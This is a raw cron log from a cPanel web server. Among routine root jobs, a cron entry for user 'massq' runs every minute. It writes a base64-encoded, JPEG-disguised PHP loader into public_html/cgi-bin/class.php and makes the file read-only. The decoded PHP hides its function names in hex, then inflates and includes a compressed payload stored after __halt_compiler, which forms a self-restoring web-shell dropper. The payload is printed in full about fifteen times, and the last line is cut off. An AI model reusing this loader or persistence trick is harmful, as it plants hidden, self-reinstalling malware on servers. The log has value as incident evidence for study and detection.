Apr  7 16:33:01 server CROND[29987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:34:01 server CROND[30037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:35:01 server CROND[30091]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 16:35:01 server CROND[30092]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 16:35:01 server CROND[30096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:35:01 server CROND[30097]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:35:01 server CROND[30099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:36:01 server CROND[30206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:37:01 server CROND[30356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:38:01 server CROND[30410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:39:01 server CROND[30475]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 16:39:01 server CROND[30476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:40:01 server CROND[30531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 16:40:01 server CROND[30532]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:40:01 server CROND[30533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:40:01 server CROND[30534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:41:01 server CROND[30673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:42:01 server CROND[30823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:42:01 server CROND[30824]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 16:43:01 server CROND[30873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:44:01 server CROND[30935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:45:01 server CROND[30997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:45:01 server CROND[30998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:45:01 server CROND[30999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:46:01 server CROND[31099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH